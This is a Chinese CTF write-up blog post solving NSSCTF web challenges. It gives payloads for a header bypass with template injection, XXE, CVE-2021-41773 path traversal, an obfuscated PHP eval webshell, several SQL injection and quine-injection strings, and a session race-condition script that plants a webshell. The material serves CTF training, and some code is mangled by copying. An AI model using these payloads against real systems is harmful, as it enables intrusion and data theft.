)func main() {gin.SetMode(gin.ReleaseMode)//设置应用程序的生产方式r := gin.Default()//创建一个默认的 Gin 引擎实例 r,这个实例已经包含了基本的中间件(如日志和恢复中间件)templ := template.Must(template.New("").ParseFS(templates.Templates, "*.tmpl"))r.SetHTMLTemplate(templ)r.Use(gin.Logger())r.Use(gin.Recovery())authorized := r.Group("/admin")authorized.Use(middleware.LocalRequired())  //访问middleware的LocalRequired()方法{authorized.GET("/index", route.Login)}r.GET("/", route.Index)r.Run(":9999")
}

第一层访问要绕过的代码

package middlewareimport ( "github.com/gin-gonic/gin"
)func LocalRequired() gin.HandlerFunc {return func(c *gin.Context) {if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {c.AbortWithStatus(403)return}ip := c.ClientIP()if ip == "127.0.0.1" {c.Next()} else {c.AbortWithStatus(401)}}
}

就是禁止了x-forwarded-for和x-client-ip这两个,直接用X-Real-IP绕过

package routeimport (_ "embed""fmt""html/template""loginme/structs""loginme/templates""strconv""github.com/gin-gonic/gin"
)func Index(c *gin.Context) {c.HTML(200, "index.tmpl", gin.H{"title": "Try Loginme",})
}func Login(c *gin.Context) {idString, flag := c.GetQuery("id")if !flag {idString = "1"}id, err := strconv.At oi(idString)if err != nil {id = 1}TargetUser := structs.Adminfor _, user := range structs.Users {if user.Id == id {TargetUser = user}}age := TargetUser.Ageif age == "" {age, flag = c.GetQuery("age")if !flag {age = "forever 18 (Tell me the age)"}}if err != nil {c.AbortWithError(500, err)}html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)if err != nil {c.AbortWithError(500, err)}tmpl, err := template.New("admin_index").Parse(html)if err != nil {c.AbortWithError(500, err)}tmpl.Execute(c.Writer, TargetUser)
}

接下来就是这段代码,age为空给age赋值,age会被Sprintf()函数格式化字符串并赋给html

tmpl, err := template.New("admin_index").Parse(html)

这段代码就是一个渲染,在go语言当中{{.name}}表示要应用的对象,让它等于{{.Password}}从而获得关键信息

结构体代码

package structstype UserInfo struct {Id       intUsername stringAge      stringPassword string
}var Users = []UserInfo{{Id:       1,Username: "Grandpa Lu",Age:      "22",Password: "hack you!",},{Id:       2,Username: "Longlone",Age:      "??",Password: "i don't know",},{Id:       3,Username: "Teacher Ma",Age:      "20",Password: "guess",},
}var Admin = UserInfo{Id:       0,Username: "Admin",Age:      "",Password: "flag{}",
}

从这段代码中得到id=0才满足条件

所以最终payload

?id=0&age={{.Password}}
X-Real-IP:127.0.0.1

php代码审计

[MoeCTF 2022]ezphp

考察变量覆盖

<?phphighlight_file('source.txt');
echo "<br><br>";$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){exit($giveme);
}if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){exit($getout);
}foreach ($_POST as $key => $value) {$$key = $value;
}foreach ($_GET as $key => $value) {$$key = $$value;
}echo 'the flag is : ' . $flag;?>

源码

前两个判断语句就是判断flag的值是否输入了并输入的值是不是等于flag

后面就是循环将键值和与变量更换

payload

?a=flag&flag=a

参考博客:变量覆盖(超详细!)-CSDN博客

[MoeCTF 2022]ezphp writeup-CSDN博客

XML

[NCTF 2019]Fake XML cookbook

一道简单的xml注入,相关知识点

从XML相关一步一步到XXE漏洞 - 先知社区

payload

<?xml version="1.0" ?>
<!DOCTYPE feng [
<!ENTITY file SYSTEM  "file:///flag">
]>
<user><username>&file;</username><password>1</password>
</user>

CVE漏洞

[NSSRound#4 SWPU]ez_rce

CVE-2021-41773目录穿越漏洞

上面是这道题的最终结果

第一步

将传参方式由GET改为POST,并且传入下面的东西

/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

第二步就是执行命令

之后找到flag目录但打开不是flag,将目录中文件一个一个打开就可以找到flag目录,在打开flag就可以了,或者用下面命令直接匹配一下

echo;grep -r “NSS” /flag_is_here

php漏洞

[FSCTF 2023]签到plus

php7.4.21源码泄露漏洞

打开网页报错,然后查了一下目录,发现有shell.php

打开是phpinfo()页面,找到flag是一个假的flag,但看到php版本是php7.4.21想到源码泄露漏洞,

按这个按钮可以得到下面效果

同时将bp上面菜单中的重放器的第一个选项的更新content-length的长度这个按钮给取消了,最终效果为

得到源码

HTTP/1.1 200 OK
Date: Fri, 04 Oct 2024 05:54:33 GMT
Connection: close
Content-Length: 443<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;if (isset($_GET['👽🦐'])) {eval($😭($_GET['👽🦐']));
};?>

最终payload

shell.php?👽🦐=tac /f*

得到flag

sql注入

[网鼎杯 2018]Fakebook

本题涉及sql注入,ssrf,反序列化

打开网页可以看到可以注册一个号,注册完之后就没有任何思路了,然后就扫描一下目录得到robots.txt这个目录,打开可以找到源码所在的目录,打开那个目录就可以看到源码

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}

从这段代码大概可以发现博客哪里有问题

注册完,点击注册名字可以得到?no这个参数,在这里可以进行sql注入

先试了一下发现是数字注入

先查一下字段

view.php?no=1 order by 4

使用联合注入union select被过滤了尝试使用union/I**/select绕过

查表

view.php?no=0 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()

查字段

view.php?no=0 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'

得到有一个data,查看data它让我们传对象并爆出路径

这时候猜测反序列化

在源码中有ssrf漏洞,猜测flag在flag.php当中

    function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}

脚本

<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "file:///var/www/html/flag.php";}
echo serialize(new UserInfo());

他是先注入在反序列化

view.php?no=0 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:0:"";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

然后打开源码有一串base64解码就可以得到flag

[第五空间 2021]yet_another_mysql_injection

知识点:quine注入

打开网页,查看源码,可以看到?source这个目录,访问得到源码

 <?php
include_once("lib.php");
function alertMes($mes,$url){die("<script>alert('{$mes}');location.href='{$url}';</script>");
}function checkSql($s) {if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){alertMes('hacker', 'index.php');}
}if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {$username=$_POST['username'];$password=$_POST['password'];if ($username !== 'admin') {alertMes('only admin can login', 'index.php');}checkSql($password);$sql="SELECT password FROM users WHERE username='admin' and password='$password';";$user_result=mysqli_query($con,$sql);$row = mysqli_fetch_array($user_result);if (!$row) {alertMes("something wrong",'index.php');}if ($row['password'] === $password) {die($FLAG);} else {alertMes("wrong password",'index.php');}
}if(isset($_GET['source'])){show_source(__FILE__);die;
}
?>
<!-- /?source -->
<html><body><form action="/index.php" method="post"><input type="text" name="username" placeholder="账号"><br/><input type="password" name="password" placeholder="密码"><br/><input type="submit" / value="登录"></form></body>
</html> 

查看源码,本来以为是一个时间盲注,sleep可以找到替代benchmark,但最后注入出来user表是空的

仔细观察

    if ($row['password'] === $password) {die($FLAG);}

这段代码如果修改password让它与password相等也可以得到flag

最终payload

'/**/union/**/select(REPLACE(REPLACE('"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#',CHAR(34),CHAR(39)),CHAR(33),'"/**/union/**/select(REPLACE(REPLACE("!",CHAR(34),CHAR(39)),CHAR(33),"!"))#'))#

源码可以看这位大佬的博客:https://www.anquanke.com/post/id/253570

参考:[第五空间 2021]yet_another_mysql_injection - KingBridge - 博客园

[NCTF 2018]滴!晨跑打卡

打开网页有一个框可以试一下注入,最终发现它是一个正常的联合注入,只是空格被禁了并且不要在输入框当中输入,要直接get传参才能达到理想的效果,用%0a绕过空格

查列

1’%a0union%a0select%a01,2,3’

 查库名

1%27%a0union%a0select%a01,2,(select%a0group_concat(schema_name)%a0from%a0information_schema.schemata),4%27

查表名

1%27%a0union%a0select%a01,2,(select%a0group_concat(table_name)%a0from%a0information_schema.tables%a0where%a0table_schema=database()),4%27

查列名

1%27%a0union%a0select%a01,2,(select%a0group_concat(column_name)%a0from%a0information_schema.columns%a0where%a0table_name=‘pcnumber’),4%27

查字段值

1%27%a0union%a0select%a01,2,(select%a0group_concat(flag)%a0from%a0pcnumber),4%27

得到flag

[NSSCTF 2022 Spring Recruit]babysql

一个有过滤的联合注入

-a'/**/union/**/select/**/(select/**/database())'-a'/**/union/**/select/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')'-a'/**/union/**/select/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag')'-a'/**/union/**/select/**/(select/**/group_concat(flag)/**/from/**/test.flag)'

[UUCTF 2022 新生赛]ezsql 

正常的联合注入,其中过滤了or并且会将输入的sql语句倒序,双写绕过

/?user=admin&password=%23galf+moorrf+FTCUU%2C1+tceles+noinu+)'1

模仿这个sql语句可以得到表字段,这是最后得到flag的一步

[NISACTF 2022]hardsql

又是一道quine注入

password=_POST[‘passwd’];
sql="SELECTpasswdFROMusersWHEREusername=′bilala′andpasswd=′sql="SELECTpasswdFROMusersWHEREusername=′bilala′andpasswd=′password’;";

给了提示,感觉是quine注入,登录抓包最终payload

username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95

参考博客:[NISACTF 2022]hardsql-CSDN博客

文件包含

[第五空间 2021]EasyCleanup

这道题打开先看源码

 <?php 
if(!isset($_GET['mode'])){ highlight_file(__file__); 
}else if($_GET['mode'] == "eval"){ $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell); 
} if(isset($_GET['file'])){ if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file']; 
} function filter($var){ $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True; } return False; 
} function checkNums($var){ $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $cnt = 0; for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $j++){ if($var[$j] == $alphanum[$i]){ $cnt += 1; if($cnt > 8) return True; } } } return False; 
} 
?> 

审计一下代码第一段代码就是判断是否上传了mode这个参数如果上传了就进行接下来的判断,判断是否上传了shell如果上传了接着判断如果没有上传就显示phpinfo页面经过简单的分析感觉如果去RCE过滤的太多了,所以直接用下一个文件包含

这里用session条件竞争

exp

import ioimport requests
import threading # 多线程from cffi.backend_ctypes import xrangesessid = ‘0’
target = ‘http://1.14.71.254:28592/’
file = ‘ph0ebus.txt’ # 上传文件名
f = io.BytesIO(b’a’ * 1024 * 50) # 文件内容,插入大量垃圾字符来使返回的时间更久,这样临时文件保存的时间更长def write(session):
while True:
session.post(target, data={‘PHP_SESSION_UPLOAD_PROGRESS’: ‘<?php eval($_GET[“cmd”]);?>’},
files={‘file’: (file, f)}, cookies={‘PHPSESSID’: sessid})def read(session):
while True:
resp = session.post(
f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system(‘cd /;ls;cat nssctfasdasdflag’);“)
if file in resp.text:
print(resp.text)
event.clear()
else:
print(”[+]retry")
# print(resp.text)if name == “main”:
event = threading.Event()
with requests.session() as session:
for i in xrange(1, 30): # 每次调用返回其中的一个值,内存空间使用极少,因而性能非常好
threading.Thread(target=write, args=(session,)).start()
# target:在run方法中调用的可调用对象,即需要开启线程的可调用对象,比如函数或方法;args:在参数target中传入的可调用对象的参数元组,默认为空元组()
for i in xrange(1, 30):
threading.Thread(target=read, args=(session,)).start()
event.set()

还有一些原理细节没有讲参考下面博客

NSSCTF | 在线CTF平台

session伪造

[HDCTF 2023]YamiYami

非预期解

点第一个目录

直接查看环境变量

?url=file:///proc/1/environ

相关文章:

NSSCTF刷题篇web部分

源码泄露 [FSCTF 2023]寻找蛛丝马迹 这个源码泄露&#xff0c;可以记录一下&#xff0c;涉及的知识点比较多 打开环境 查看源码&#xff0c; 第一段flag 乱码&#xff0c;恢复一下 乱码恢复网站&#xff1a;乱码恢复 (mytju.com) 剩下的就只说方法 http://node4.anna.nss…...

超子物联网HAL库笔记:准备篇

超子物联网 HAL库学习 汇总入口&#xff1a; 超子物联网HAL库笔记&#xff1a;[汇总] 写作不易&#xff0c;如果您觉得写的不错&#xff0c;欢迎给博主来一波点赞、收藏~让博主更有动力吧&#xff01; 1. HAL库简介 HAL库 HAL库&#xff08;Hardware Abstraction Layer&#…...

FoRAG:面向网络增强型长文本问答的事实优化检索增强生成方法

人工智能咨询培训老师叶梓 转载标明出处 检索增强生成技术尽管出现了各种开源方法和商业系统&#xff0c;如Bing Chat&#xff0c;但生成的长文本答案中缺乏事实性和清晰逻辑的问题仍未得到解决。为了解决这些问题&#xff0c;来自蚂蚁集团和清华大学的研究者们提出了一种名为…...

Android NSD局域网发现服务

近期在了解局域网发现服务的时候无意间看到Android 自带的&#xff08;Network Service Discovery&#xff09;网络发现服务&#xff0c;在一番验证之后发现实现比较简单&#xff0c;可靠性也高&#xff0c;因此在这里做一个整理&#xff0c;算是对自己知识做一个归档。 网络服…...

算法的学习笔记—左旋转字符串(牛客JZ58)

&#x1f600;前言 在程序设计中&#xff0c;字符串处理问题屡见不鲜&#xff0c;其中“字符串左旋”是一种常见操作&#xff0c;今天我们一起来探讨一个经典的左旋转字符串题目&#xff0c;以及一种优雅的解决方案——三步翻转法。 &#x1f3e0;个人主页&#xff1a;尘觉主页…...

Mac 上无法烧录 ESP32C3 的问题记录:A fatal error occurred:Failed to write to target RAM

文章目录 问题描述驱动下载地址问题解决&#xff1a;安装 CH343 驱动踩的坑日志是乱码 问题描述 我代码编译可以&#xff0c;但是就是烧录不上去 A fatal error occurred:Failed to write to target RAM(result was 01070000:Operation timed out) Uploaderror:上传失败&…...

ios 项目升级极光SDK

由于项目使用的是旧版本&#xff0c;隐私合规检查不通过&#xff0c;需要升级到最新版本&#xff0c; 使用cocoapods集成无法正常运行&#xff0c;.a文件找不到&#xff0c;可能项目比较久了&#xff0c;最好选择手动导入 下载最新版本SDK&#xff0c;将 SDK 包解压&#xff…...

【Java】java | logback日志配置 | 按包配置级别

一、概述 日志配置需求&#xff1a; 本地部分包开debug&#xff0c;其他路径走配置&#xff1b;只在本地环境有效 二、logback.xml配置 <!--本地调试&#xff0c;开debug--> <springProfile name"dev"><logger name"cn.hg.demo" level&quo…...

Virtuoso使用layout绘制版图、使用Calibre验证DRC和LVS

1 绘制版图 1.1 进入Layout XL 绘制好Schmatic后&#xff0c;在原理图界面点击Launch&#xff0c;点击Layout XL进入版图绘制界面。 1.2 导入元件 1、在Layout XL界面左下角找打Generate All from Source。 2、在Generate Layout界面&#xff0c;选中“Instance”&#…...

Spring框架原理面试题及参考答案

目录 什么是Spring 开发框架? 说说Spring 的 IOC 和 DI? 简述IoC(控制反转)及在 Spring 中的实现 说说Spring IOC 容器的基本概念? 说说Spring IoC 的实现机制? 说说Spring IoC 容器? 简述Spring ApplicationContext 说说Spring Bean 的生命周期 说说在 Spring…...

Java类的static成员以及代码块(详细版)

文章目录 一、什么是static成员二、static修饰的成员有何意义三、static修饰成员变量四、static修饰成员方法4.1、静态成员变量不可以在方法内创建4.2、静态成员方法内部不可以访问非静态成员变量4.3、总结 五、static成员变量的初始化5.1、就地初始化5.2、静态代码块初始化 六…...

Opensearch集群部署【docker、服务器、Helm多种部署方式】

操作系统兼容性 我们建议在 Red Hat Enterprise Linux (RHEL) 或使用systemd的基于 Debian 的 Linux 发行版上安装 OpenSearch &#xff0c;例如 CentOS、Amazon Linux 2 和 Ubuntu Long-Term Support (LTS)。OpenSearch 应该适用于大多数 Linux 发行版&#xff0c;但我们只测…...

本地Docker部署开源WAF雷池并实现异地远程登录管理界面

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…...

性能需求笔记

名称解释 系统用户&#xff1a;所有注册过的用户&#xff1b;在线用户&#xff1a;某时间段内登录且在线的用户 pv&#xff1a;用户浏览页面的次数 UV&#xff1a;登录系统的用户&#xff0c;uv课产生多个pv 性能测试&#xff1a;测试软件在系统中的运行性能&#xff0c;度量系…...

ts:数组的常用方法(reduce累加)

ts&#xff1a;数组的常用方法&#xff08;reduce累加&#xff09; 一、主要内容说明二、例子reduce方法&#xff08;累加&#xff09;1.源码1 &#xff08;reduce方法&#xff09;2.源码1运行效果 三、结语四、定位日期 一、主要内容说明 ts中数组的reduce方法&#xff0c;用…...

Begin

cpp 编程的发展方向还是很多的&#xff1a;游戏、嵌入式、QT、客户端、服务端、机器学习、算法大模 型 ...&#xff0c;现阶段还是不太清楚具体想走什么方向。主QT编程应该是不在考虑之内的&#xff0c;可以为辅简单 学习一下&#xff1b;游戏方向&#xff1a;需要学习lua语言…...

【实战案例】Django框架表单处理及数据库交互

本文基于之前内容列表如下&#xff1a; 【图文指引】5分钟搭建Django轻量级框架服务 【实战案例】Django框架基础之上编写第一个Django应用之基本请求和响应 【实战案例】Django框架连接并操作数据库MySQL相关API 【实战案例】Django框架使用模板渲染视图页面及异常处理 更新编…...

python开发工具是选择vscode还是pycharm?两款软件优缺点对照!

Pycharm和VSCode是两款流行的代码编辑器&#xff0c;它们都有各自的优缺点和适用情况。本文将从以下几个方面对它们进行比较和分析&#xff1a; 功能和扩展性性能和稳定性用户体验和界面价格和支持 功能和扩展性 Pycharm是一款专为Python开发而设计的集成开发环境&#xff08;…...

2025选题|基于Hadoop的物品租赁系统的设计与实现

作者简介&#xff1a;Java领域优质创作者、CSDN博客专家 、CSDN内容合伙人、掘金特邀作者、阿里云博客专家、51CTO特邀作者、多年架构师设计经验、多年校企合作经验&#xff0c;被多个学校常年聘为校外企业导师&#xff0c;指导学生毕业设计并参与学生毕业答辩指导&#xff0c;…...

【Qt】QTableView添加下拉框过滤条件

实现通过带复选框的下拉框来为表格添加过滤条件 带复选框的下拉框 .h文件 #pragma once #include <QCheckBox> #include <QComboBox> #include <QEvent> #include <QLineEdit> #include <QListWidget>class TableComboBox : public QComboBox …...

部署DNS主从服务器

一。DNS主从服务器作用&#xff1a; DNS作为重要的互联网基础设施服务&#xff0c;保证DNS域名解析服务的正常运转至关重要&#xff0c;只有这样才能提供稳定、快速日不间断的域名查询服务 DNS 域名解析服务中&#xff0c;从服务器可以从主服务器上获取指定的区域数据文件&…...

从可逆计算看低代码

2020年低代码&#xff08;LowCode&#xff09;这一buzzword频繁亮相于主流技术媒体&#xff0c;大背景下是微软/亚马逊/阿里/华为等巨头纷纷入场&#xff0c;推出自己的相应产品。一时之间&#xff0c;大大小小的技术山头&#xff0c;无论自己原先是搞OA/ERP/IOT/AI的&#xff…...

设计模式最佳实践代码总结 - 结构型设计模式篇 - 侨接设计模式最佳实践

目录 侨接设计模式最佳实践 侨接设计模式最佳实践 桥接模式是一种结构型设计模式&#xff0c;它将抽象部分与它的实现部分分离&#xff0c;使它们可以独立地变化。桥接模式是一种结构型设计模式&#xff0c;它将抽象部分与它的实现部分分离&#xff0c;使它们可以独立地变化。…...

【软件测试】python——Unittest

UnitTest 框架 笔记来自于黑马程序员python自动化测试教程&#xff0c;python从基础到Uinttest框架管理测试用例。链接&#xff1a;[黑马程序员python自动化测试教程&#xff0c;python从基础到Uinttest框架管理测试用例](https://www.bilibili.com/video/BV1av411q7dT?spm_i…...

Maven:详解 clean 和 install 命令的使用

clean 的主要功能是清理项目构建过程中生成的所有临时文件和输出文件。具体来说&#xff0c;clean 阶段会删除 target 目录及其所有内容。 clean 阶段的具体功能 删除 target 目录&#xff1a; target 目录是 Maven 构建过程中默认的输出目录&#xff0c;存放所有构建生成的文件…...

HTTP与RPC

一、概念 HTTP&#xff08;Hypertext Transfer Protocol,超文本传输协议&#xff09;是一种应用层协议&#xff0c;主要用于在Web服务器之间传输html页面和其他Web资源。 RPC&#xff08;Remote Procedure Call&#xff0c;远程过程调用) 是一种通用的远程调用通信协议&#…...

解决蓝牙键盘按键错乱的问题

最近发现我的蓝牙键盘按下的键盘与实际不符&#xff0c;于是就上网搜索答案&#xff0c;网上的方法都试了一遍 最后想着准备退货&#xff0c;没想到客服直接给我解决了 原因很简单&#xff0c;就是之前误触了键盘的某些按键导致的 每个键盘品牌的按键因该都不同的&#xff0c;可…...

MiL.k X Biggie 奇妙宇宙来袭!

MiL.k 和亚航奖励计划联手推出 MiL.k X BIGGIE 奇妙宇宙&#xff0c;为亚航会员和 MiL.k 用户提供神奇的 Web3 体验。这款沉浸式体验位于 The Sandbox 的 MiL.k Land&#xff0c;提供趣味游戏&#xff0c;解锁令人兴奋的新奖励。 亚航吉祥物 BIGGIE 和他友好的机舱服务员将引导…...

云服务器中删除非空目录(包含文件和子目录)rm -rf <directory_name>

在云服务器中删除目录可以使用 rm 命令。如果您需要删除一个非空目录&#xff08;包含文件和子目录&#xff09;&#xff0c;可以使用以下命令&#xff1a; rm -rf <directory_name>参数解释&#xff1a; -r&#xff1a;递归删除&#xff0c;即删除目录及其所有内容&am…...

1991-2024年经管类国自然、国社科立项名单(附68份国自然标书)-最新出炉 附下载链接

很全&#xff01;1991-2024年经管类国自然、国社科立项名单&#xff08;附68份国自然标书&#xff09; 下载链接-点它&#x1f449;&#x1f449;&#x1f449;&#xff1a;很全1991-2024年经管类国自然、国社科立项名单&#xff08;附68份国自然标书&#xff09;.zip 资源介…...